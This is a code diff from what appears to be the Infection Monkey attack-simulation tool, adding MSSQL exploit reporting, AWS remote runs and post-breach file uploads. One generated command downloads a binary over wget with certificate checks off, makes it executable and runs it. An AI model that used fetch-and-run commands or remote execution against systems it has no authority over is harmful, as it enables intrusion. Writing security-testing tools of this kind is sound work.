processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'mssql'
return processed_exploit
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@ -340,7 +354,8 @@ class ReportService:
'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit
'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -540,12 +555,24 @@ class ReportService:
for issue in issues:
if not issue.get('is_local', True):
machine = issue.get('machine').upper()
aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine'))
if machine not in domain_issues_dict:
domain_issues_dict[machine] = []
if aws_instance_id:
issue['aws_instance_id'] = aws_instance_id
domain_issues_dict[machine].append(issue)
logger.info('Domain issues generated for reporting')
return domain_issues_dict
@staticmethod
def get_machine_aws_instance_id(hostname):
aws_instance_id_list = list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))
if aws_instance_id_list:
if 'aws_instance_id' in aws_instance_id_list[0]:
return str(aws_instance_id_list[0]['aws_instance_id'])
else:
return None
@staticmethod
def get_issues():
ISSUE_GENERATORS = [
@ -556,14 +583,18 @@ class ReportService:
PTHReportService.get_duplicated_passwords_issues,
PTHReportService.get_strong_users_on_crit_issues
]
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
issues_dict = {}
for issue in issues:
if issue.get('is_local', True):
machine = issue.get('machine').upper()
aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine'))
if machine not in issues_dict:
issues_dict[machine] = []
if aws_instance_id:
issue['aws_instance_id'] = aws_instance_id
issues_dict[machine].append(issue)
logger.info('Issues generated for reporting')
return issues_dict
@ -625,6 +656,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'] == 'weblogic':
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
elif issue['type'] == 'mssql':
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
elif issue['type'] == 'hadoop':
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
@ -659,26 +692,17 @@ class ReportService:
@staticmethod
def is_report_generated():
generated_report = mongo.db.report.find_one({'name': 'generated_report'})
if generated_report is None:
return False
return generated_report['value']
generated_report = mongo.db.report.find_one({})
return generated_report is not None
@staticmethod
def set_report_generated():
mongo.db.report.update(
{'name': 'generated_report'},
{'$set': {'value': True}},
upsert=True)
logger.info("Report marked as generated.")
@staticmethod
def get_report():
def generate_report():
domain_issues = ReportService.get_domain_issues()
issues = ReportService.get_issues()
config_users = ReportService.get_config_users()
config_passwords = ReportService.get_config_passwords()
cross_segment_issues = ReportService.get_cross_segment_issues()
monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime']
report = \
{
@ -710,15 +734,59 @@ class ReportService:
{
'issues': issues,
'domain_issues': domain_issues
},
'meta':
{
'latest_monkey_modifytime': monkey_latest_modify_time
}
}
finished_run = NodeService.is_monkey_finished_running()
if finished_run:
ReportService.set_report_generated()
ReportExporterManager().export(report)
mongo.db.report.drop()
mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report))
return report
@staticmethod
def encode_dot_char_before_mongo_insert(report_dict):
"""
mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode
,,, combo instead.
:return: dict with formatted keys with no dots.
"""
report_as_json = json_util.dumps(report_dict).replace('.', ',,,')
return json_util.loads(report_as_json)
@staticmethod
def is_latest_report_exists():
"""
This function checks if a monkey report was already generated and if it's the latest one.
:return: True if report is the latest one, False if there isn't a report or its not the latest.
"""
latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1})
if latest_report_doc:
report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime']
latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime']
return report_latest_modifytime == latest_monkey_modifytime
return False
@staticmethod
def decode_dot_char_before_mongo_insert(report_dict):
"""
this function replaces the ',,,' combo with the '.' char instead.
:return: report dict with formatted keys (',,,' -> '.')
"""
report_as_json = json_util.dumps(report_dict).replace(',,,', '.')
return json_util.loads(report_as_json)
@staticmethod
def get_report():
if ReportService.is_latest_report_exists():
return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one())
return ReportService.generate_report()
@staticmethod
def did_exploit_type_succeed(exploit_type):
return mongo.db.edge.count(

View File

@ -13,11 +13,18 @@ class WMIHandler(object):
self.monkey_id = monkey_id
self.info_for_mongo = {}
self.users_secrets = user_secrets
self.users_info = wmi_info['Win32_UserAccount']
self.groups_info = wmi_info['Win32_Group']
self.groups_and_users = wmi_info['Win32_GroupUser']
self.services = wmi_info['Win32_Service']
self.products = wmi_info['Win32_Product']
if not wmi_info:
self.users_info = ""
self.groups_info = ""
self.groups_and_users = ""
self.services = ""
self.products = ""
else:
self.users_info = wmi_info['Win32_UserAccount']
self.groups_info = wmi_info['Win32_Group']
self.groups_and_users = wmi_info['Win32_GroupUser']
self.services = wmi_info['Win32_Service']
self.products = wmi_info['Win32_Product']
def process_and_handle_wmi_info(self):
@ -25,7 +32,8 @@ class WMIHandler(object):
self.add_users_to_collection()
self.create_group_user_connection()
self.insert_info_to_mongo()
self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id)
if self.info_for_mongo:
self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id)
self.update_admins_retrospective()
self.update_critical_services()

File diff suppressed because it is too large Load Diff

View File

@ -68,6 +68,7 @@
"core-js": "^2.5.7",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
"filepond": "^4.2.0",
"js-file-download": "^0.4.4",
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
@ -83,6 +84,7 @@
"react-dimensions": "^1.3.0",
"react-dom": "^16.5.2",
"react-fa": "^5.0.0",
"react-filepond": "^7.0.1",
"react-graph-vis": "^1.0.2",
"react-json-tree": "^0.11.0",
"react-jsonschema-form": "^1.0.5",
@ -90,6 +92,7 @@
"react-router-dom": "^4.3.1",
"react-table": "^6.8.6",
"react-toggle": "^4.0.1",
"redux": "^4.0.0"
"redux": "^4.0.0",
"sha3": "^2.0.0"
}
}

View File

@ -6,6 +6,7 @@ class AuthComponent extends React.Component {
super(props);
this.auth = new AuthService();
this.authFetch = this.auth.authFetch;
this.jwtHeader = this.auth.jwtHeader();
}
}

View File

@ -27,31 +27,44 @@ let guardicoreLogoImage = require('../images/guardicore-logo.png');
class AppComponent extends AuthComponent {
updateStatus = () => {
if (this.auth.loggedIn()){
this.authFetch('/api')
.then(res => res.json())
.then(res => {
// This check is used to prevent unnecessary re-rendering
let isChanged = false;
for (let step in this.state.completedSteps) {
if (this.state.completedSteps[step] !== res['completed_steps'][step]) {
isChanged = true;
break;
}
}
if (isChanged) {
this.setState({completedSteps: res['completed_steps']});
}
});
}
this.auth.loggedIn()
.then(res => {
if (this.state.isLoggedIn !== res) {
this.setState({
isLoggedIn: res
});
}
if (res) {
this.authFetch('/api')
.then(res => res.json())
.then(res => {
// This check is used to prevent unnecessary re-rendering
let isChanged = false;
for (let step in this.state.completedSteps) {
if (this.state.completedSteps[step] !== res['completed_steps'][step]) {
isChanged = true;
break;
}
}
if (isChanged) {
this.setState({completedSteps: res['completed_steps']});
}
});
}
});
};
renderRoute = (route_path, page_component, is_exact_path = false) => {
let render_func = (props) => {
if (this.auth.loggedIn()) {
return page_component;
} else {
return <Redirect to={{pathname: '/login'}}/>;
switch (this.state.isLoggedIn) {
case true:
return page_component;
case false:
return <Redirect to={{pathname: '/login'}}/>;
default:
return page_component;
}
};
@ -65,15 +78,22 @@ class AppComponent extends AuthComponent {
constructor(props) {
super(props);
this.state = {
removePBAfiles: false,
completedSteps: {
run_server: true,
run_monkey: false,
infection_done: false,
report_done: false
report_done: false,
isLoggedIn: undefined
}
};
}
// Sets the property that indicates if we need to remove PBA files from state or not
setRemovePBAfiles = (rmFiles) => {
this.setState({removePBAfiles: rmFiles});
};
componentDidMount() {
this.updateStatus();
this.interval = setInterval(this.updateStatus, 5000);

View File

@ -3,15 +3,43 @@ import Form from 'react-jsonschema-form';
import {Col, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent';
import { FilePond } from 'react-filepond';
import 'filepond/dist/filepond.min.css';
class ConfigurePageComponent extends AuthComponent {
constructor(props) {
super(props);
this.PBAwindowsPond = null;
this.PBAlinuxPond = null;
this.currentSection = 'basic';
this.currentFormData = {};
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
this.uiSchema = {
behaviour: {
custom_PBA_linux_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_linux_file: {
"ui:widget": this.PBAlinux
},
custom_PBA_windows_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_windows_file: {
"ui:widget": this.PBAwindows
},
PBA_linux_filename: {
classNames: "linux-pba-file-info",
"ui:emptyValue": ""
},
PBA_windows_filename: {
classNames: "windows-pba-file-info",
"ui:emptyValue": ""
}
}
};
// set schema from server
this.state = {
schema: {},
@ -19,12 +47,14 @@ class ConfigurePageComponent extends AuthComponent {
lastAction: 'none',
sections: [],
selectedSection: 'basic',
allMonkeysAreDead: true
allMonkeysAreDead: true,
PBAwinFile: [],
PBAlinuxFile: []
};
}
componentDidMount() {
this.authFetch('/api/configuration')
this.authFetch('/api/configuration/island')
.then(res => res.json())
.then(res => {
let sections = [];
@ -44,7 +74,7 @@ class ConfigurePageComponent extends AuthComponent {
onSubmit = ({formData}) => {
this.currentFormData = formData;
this.updateConfigSection();
this.authFetch('/api/configuration',
this.authFetch('/api/configuration/island',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
@ -93,7 +123,8 @@ class ConfigurePageComponent extends AuthComponent {
};
resetConfig = () => {
this.authFetch('/api/configuration',
this.removePBAfiles();
this.authFetch('/api/configuration/island',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
@ -110,6 +141,21 @@ class ConfigurePageComponent extends AuthComponent {
});
};
removePBAfiles(){
// We need to clean files from widget, local state and configuration (to sync with bac end)
if (this.PBAwindowsPond !== null){
this.PBAwindowsPond.removeFile();
}
if (this.PBAlinuxPond !== null){
this.PBAlinuxPond.removeFile();
}
let request_options = {method: 'DELETE',
headers: {'Content-Type': 'text/plain'}};
this.authFetch('/api/fileUpload/PBAlinux', request_options);
this.authFetch('/api/fileUpload/PBAwindows', request_options);
this.setState({PBAlinuxFile: [], PBAwinFile: []});
}
onReadFile = (event) => {
try {
this.setState({
@ -141,19 +187,96 @@ class ConfigurePageComponent extends AuthComponent {
.then(res => res.json())
.then(res => {
// This check is used to prevent unnecessary re-rendering
this.setState({
allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done'])
});
let allMonkeysAreDead = (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']);
if (allMonkeysAreDead !== this.state.allMonkeysAreDead) {
this.setState({
allMonkeysAreDead: allMonkeysAreDead
});
}
});
};
PBAwindows = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAwindows',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
load: {headers: {'Authorization': this.jwtHeader}},
fetch: {headers: {'Authorization': this.jwtHeader}}
}}
files={this.getWinPBAfile()}
onupdatefiles={fileItems => {
this.setState({
PBAwinFile: fileItems.map(fileItem => fileItem.file)
})
}}
ref={ref => this.PBAwindowsPond = ref}
/>)
};
PBAlinux = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAlinux',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
load: {headers: {'Authorization': this.jwtHeader}},
fetch: {headers: {'Authorization': this.jwtHeader}}
}}
files={this.getLinuxPBAfile()}
onupdatefiles={fileItems => {
this.setState({
PBAlinuxFile: fileItems.map(fileItem => fileItem.file)
})
}}
ref={ref => this.PBAlinuxPond = ref}
/>)
};
getWinPBAfile(){
if (this.state.PBAwinFile.length !== 0){
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
}
}
getLinuxPBAfile(){
if (this.state.PBAlinuxFile.length !== 0){
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
}
}
static getFullPBAfile(filename){
let pbaFile = [{
source: filename,
options: {
type: 'limbo'
}
}];
return pbaFile
}
static getMockPBAfile(mockFile){
let pbaFile = [{
source: mockFile.name,
options: {
type: 'limbo'
}
}];
pbaFile[0].options.file = mockFile;
return pbaFile
}
render() {
let displayedSchema = {};
if (this.state.schema.hasOwnProperty('properties')) {
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions'];
}
return (
<Col xs={12} lg={8}>
<h1 className="page-title">Monkey Configuration</h1>
@ -175,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent {
}
{ this.state.selectedSection ?
<Form schema={displayedSchema}
uiSchema={this.uiSchema}
formData={this.state.configuration[this.state.selectedSection]}
onSubmit={this.onSubmit}
onChange={this.onChange}>
onChange={this.onChange}
noValidate={true}>
<div>
{ this.state.allMonkeysAreDead ?
'' :
@ -240,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
</div>
: ''}
</div>
</Col>
);
}

View File

@ -34,9 +34,12 @@ class LoginPageComponent extends React.Component {
this.state = {
failed: false
};
if (this.auth.loggedIn()) {
this.redirectToHome();
}
this.auth.loggedIn()
.then(res => {
if (res) {
this.redirectToHome();
}
});
}
render() {

View File

@ -2,6 +2,7 @@ import React from 'react';
import {Button, Col} from 'react-bootstrap';
import BreachedServers from 'components/report-components/BreachedServers';
import ScannedServers from 'components/report-components/ScannedServers';
import PostBreach from 'components/report-components/PostBreach';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions';
import StolenPasswords from 'components/report-components/StolenPasswords';
@ -29,7 +30,8 @@ class ReportPageComponent extends AuthComponent {
STRUTS2: 8,
WEBLOGIC: 9,
HADOOP: 10,
PTH_CRIT_SERVICES_ACCESS: 11
PTH_CRIT_SERVICES_ACCESS: 11,
MSSQL: 12
};
Warning =
@ -104,7 +106,7 @@ class ReportPageComponent extends AuthComponent {
.then(res => res.json())
.then(res => {
res.edges.forEach(edge => {
edge.color = edgeGroupToColor(edge.group);
edge.color = {'color': edgeGroupToColor(edge.group)};
});
this.setState({graph: res});
this.props.onStatusChange();
@ -341,6 +343,8 @@ class ReportPageComponent extends AuthComponent {
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
{this.state.report.overview.issues[this.Issue.MSSQL] ?
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
</ul>
</div>
:
@ -412,7 +416,6 @@ class ReportPageComponent extends AuthComponent {
<div>
{this.generateIssues(this.state.report.recommendations.issues)}
</div>
</div>
);
}
@ -458,6 +461,9 @@ class ReportPageComponent extends AuthComponent {
<div style={{marginBottom: '20px'}}>
<BreachedServers data={this.state.report.glance.exploited}/>
</div>
<div style={{marginBottom: '20px'}}>
<PostBreach data={this.state.report.glance.scanned}/>
</div>
<div style={{marginBottom: '20px'}}>
<ScannedServers data={this.state.report.glance.scanned}/>
</div>
@ -867,7 +873,23 @@ class ReportPageComponent extends AuthComponent {
);
}
generateMSSQLIssue(issue) {
return(
<li>
Disable the xp_cmdshell option.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="label label-danger">MSSQL exploit attack</span>.
<br/>
The attack was made possible because the target machine used an outdated MSSQL server configuration allowing
the usage of the xp_cmdshell command. To learn more about how to disable this feature, read <a
href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017">
Microsoft's documentation. </a>
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => {
let data;
@ -935,6 +957,9 @@ class ReportPageComponent extends AuthComponent {
case 'hadoop':
data = this.generateHadoopIssue(issue);
break;
case 'mssql':
data = this.generateMSSQLIssue(issue);
break;
}
return data;
};

View File

@ -1,9 +1,10 @@
import React from 'react';
import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap';
import {Button, Col, Well, Nav, NavItem, Collapse, Form, FormControl, FormGroup} from 'react-bootstrap';
import CopyToClipboard from 'react-copy-to-clipboard';
import {Icon} from 'react-fa';
import {Link} from 'react-router-dom';
import AuthComponent from '../AuthComponent';
import AwsRunTable from "../run-monkey/AwsRunTable";
class RunMonkeyPageComponent extends AuthComponent {
@ -13,10 +14,19 @@ class RunMonkeyPageComponent extends AuthComponent {
ips: [],
runningOnIslandState: 'not_running',
runningOnClientState: 'not_running',
awsClicked: false,
selectedIp: '0.0.0.0',
selectedOs: 'windows-32',
showManual: false
};
showManual: false,
showAws: false,
isOnAws: false,
isAwsAuth: false,
awsUpdateClicked: false,
awsUpdateFailed: false,
awsKeyId: '',
awsSecretKey: '',
awsMachines: []
};
}
componentDidMount() {
@ -37,6 +47,15 @@ class RunMonkeyPageComponent extends AuthComponent {
}
});
this.fetchAwsInfo();
this.fetchConfig()
.then(config => {
this.setState({
awsKeyId: config['cnc']['aws_config']['aws_access_key_id'],
awsSecretKey: config['cnc']['aws_config']['aws_secret_access_key']
});
});
this.authFetch('/api/client-monkey')
.then(res => res.json())
.then(res => {
@ -50,9 +69,20 @@ class RunMonkeyPageComponent extends AuthComponent {
this.props.onStatusChange();
}
fetchAwsInfo() {
return this.authFetch('/api/remote-monkey?action=list_aws')
.then(res => res.json())
.then(res =>{
let is_aws = res['is_aws'];
if (is_aws) {
this.setState({isOnAws: true, awsMachines: res['instances'], isAwsAuth: res['auth']});
}
});
}
generateLinuxCmd(ip, is32Bit) {
let bitText = is32Bit ? '32' : '64';
return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
}
generateWindowsCmd(ip, is32Bit) {
@ -134,6 +164,192 @@ class RunMonkeyPageComponent extends AuthComponent {
});
};
toggleAws = () => {
this.setState({
showAws: !this.state.showAws
});
};
runOnAws = () => {
this.setState({
awsClicked: true
});
let instances = this.awsTable.state.selection.map(x => this.instanceIdToInstance(x));
this.authFetch('/api/remote-monkey',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({type: 'aws', instances: instances, island_ip: this.state.selectedIp})
}).then(res => res.json())
.then(res => {
let result = res['result'];
// update existing state, not run-over
let prevRes = this.awsTable.state.result;
for (let key in result) {
if (result.hasOwnProperty(key)) {
prevRes[key] = result[key];
}
}
this.awsTable.setState({
result: prevRes,
selection: [],
selectAll: false
});
this.setState({
awsClicked: false
});
});
};
updateAwsKeyId = (evt) => {
this.setState({
awsKeyId: evt.target.value
});
};
updateAwsSecretKey = (evt) => {
this.setState({
awsSecretKey: evt.target.value
});
};
fetchConfig() {
return this.authFetch('/api/configuration/island')
.then(res => res.json())
.then(res => {
return res.configuration;
})
}
updateAwsKeys = () => {
this.setState({
awsUpdateClicked: true,
awsUpdateFailed: false
});
this.fetchConfig()
.then(config => {
let new_config = config;
new_config['cnc']['aws_config']['aws_access_key_id'] = this.state.awsKeyId;
new_config['cnc']['aws_config']['aws_secret_access_key'] = this.state.awsSecretKey;
return new_config;
})
.then(new_config => {
this.authFetch('/api/configuration/island',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(new_config)
})
.then(res => res.json())
.then(res => {
this.fetchAwsInfo()
.then(res => {
if (!this.state.isAwsAuth) {
this.setState({
awsUpdateClicked: false,
awsUpdateFailed: true
})
}
});
});
});
};
instanceIdToInstance = (instance_id) => {
let instance = this.state.awsMachines.find(
function (inst) {
return inst['instance_id'] === instance_id;
});
return {'instance_id': instance_id, 'os': instance['os']}
};
renderAuthAwsDiv() {
return (
<div style={{'marginBottom': '2em'}}>
{
this.state.ips.length > 1 ?
<Nav bsStyle="pills" justified activeKey={this.state.selectedIp} onSelect={this.setSelectedIp}
style={{'marginBottom': '2em'}}>
{this.state.ips.map(ip => <NavItem key={ip} eventKey={ip}>{ip}</NavItem>)}
</Nav>
: <div style={{'marginBottom': '2em'}} />
}
<AwsRunTable
data={this.state.awsMachines}
ref={r => (this.awsTable = r)}
/>
<div style={{'marginTop': '1em'}}>
<button
onClick={this.runOnAws}
className={'btn btn-default btn-md center-block'}
disabled={this.state.awsClicked}>
Run on selected machines
{ this.state.awsClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null }
</button>
</div>
</div>
)
}
renderNotAuthAwsDiv() {
return (
<div style={{'marginBottom': '2em'}}>
<p style={{'fontSize': '1.2em'}}>
You haven't set your AWS account details or they're incorrect. Please enter them below to proceed.
</p>
<div style={{'marginTop': '1em'}}>
<div className="col-sm-12">
<div className="col-sm-6 col-sm-offset-3" style={{'fontSize': '1.2em'}}>
<div className="panel panel-default">
<div className="panel-body">
<div className="input-group center-block text-center">
<input type="text" className="form-control" placeholder="AWS Access Key ID"
value={this.state.awsKeyId}
onChange={evt => this.updateAwsKeyId(evt)}/>
<input type="text" className="form-control" placeholder="AWS Secret Access Key"
value={this.state.awsSecretKey}
onChange={evt => this.updateAwsSecretKey(evt)}/>
<Button
onClick={this.updateAwsKeys}
className={'btn btn-default btn-md center-block'}
disabled={this.state.awsUpdateClicked}
variant="primary">
Update AWS details
{ this.state.awsUpdateClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null }
</Button>
</div>
</div>
</div>
</div>
<div className="col-sm-8 col-sm-offset-2" style={{'fontSize': '1.2em'}}>
<p className="alert alert-info">
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
In order to remotely run commands on AWS EC2 instances, please make sure you have
the <a href="https://docs.aws.amazon.com/console/ec2/run-command/prereqs" target="_blank">prerequisites</a> and if the
instances don't show up, check the
AWS <a href="https://docs.aws.amazon.com/console/ec2/run-command/troubleshooting" target="_blank">troubleshooting guide</a>.
</p>
</div>
{
this.state.awsUpdateFailed ?
<div className="col-sm-8 col-sm-offset-2" style={{'fontSize': '1.2em'}}>
<p className="alert alert-danger" role="alert">Authentication failed.</p>
</div>
:
null
}
</div>
</div>
</div>
)
}
render() {
return (
<Col xs={12} lg={8}>
@ -166,7 +382,7 @@ class RunMonkeyPageComponent extends AuthComponent {
<p className="text-center">
OR
</p>
<p style={{'marginBottom': '2em'}}>
<p style={this.state.showManual || !this.state.isOnAws ? {'marginBottom': '2em'} : {}}>
<button onClick={this.toggleManual} className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}>
Run on machine of your choice
</button>
@ -196,6 +412,30 @@ class RunMonkeyPageComponent extends AuthComponent {
{this.generateCmdDiv()}
</div>
</Collapse>
{
this.state.isOnAws ?
<p className="text-center">
OR
</p>
:
null
}
{
this.state.isOnAws ?
<p style={{'marginBottom': '2em'}}>
<button onClick={this.toggleAws} className={'btn btn-default btn-lg center-block' + (this.state.showAws ? ' active' : '')}>
Run on AWS machine of your choice
</button>
</p>
:
null
}
<Collapse in={this.state.showAws}>
{
this.state.isAwsAuth ? this.renderAuthAwsDiv() : this.renderNotAuthAwsDiv()
}
</Collapse>
<p style={{'fontSize': '1.2em'}}>
Go ahead and monitor the ongoing infection in the <Link to="/infection/map">Infection Map</Link> view.

View File

@ -5,12 +5,17 @@ let renderArray = function(val) {
return <div>{val.map(x => <div>{x}</div>)}</div>;
};
let renderIpAddresses = function (val) {
return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>;
};
const columns = [
{
Header: 'Breached Servers',
columns: [
{Header: 'Machine', accessor: 'label'},
{Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)},
{Header: 'IP Addresses', id: 'ip_addresses',
accessor: x => renderIpAddresses(x)},
{Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}
]
}

Some files were not shown because too many files have changed in this diff Show More